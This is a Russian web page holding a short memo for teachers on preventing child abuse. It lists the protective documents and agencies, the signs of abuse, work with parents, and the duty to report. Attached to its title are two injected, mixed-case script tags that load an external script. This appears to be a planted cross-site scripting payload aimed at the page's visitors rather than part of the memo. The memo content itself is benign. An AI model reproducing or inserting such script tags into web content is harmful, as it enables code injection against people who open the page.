Памятка учителю к работе по профилактики жестокого обращения с детьми<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
20.01.2021
- Знание основных документов по защите ребенка
- Организации, куда можно обратиться для защиты ребенка (органы внутренних дел, здравоохранение, опеки и попечительства по месту фактического проживание ребенка, общественной правозащитной организации)
- Учреждение оказывающую психологическую помощь детям, номера «Телефонов доверия».
- Знание признаков жестокого обращения с детьми.
- Предвидение возможных причин жестокого обращения в семье.
- Взаимодействие с родителями.
- Развитие коммуникативных навыков
- Самооценка личностных качеств и педагогических умений
- Гуманный стиль общения с детьми
- Отбор оптимальных форм и методов работы с детьми и родителями.
- Проведение предупредительной работы с родителями с целью не допущения фактов насилия в семье и жестокого обращение с детьми, разъяснение о возможности получение психологической и правовой помощи в центрах социальных служб.
- Умение применять проективные методики, направленные на изучение психологического климата в семье, в группе.
- Знание и умение дать профессионально грамотные рекомендации родителям, дети которых подверглись жестокому обращению или насилию со стороны взрослых или сверстников.
- Организация работы с родителями по разъяснению последствии жестогког обращения в семьях, а также лицами который составляют ближайшее окружение ребенка, который пострадал от жестокого обращения или перетерпливает от реальной угрозы его совершения.
- Сообщения о случаях насилия в семье и жестокого обращения в семье, информация в соответствующие органы в установленные сроки.
Просмотров: 543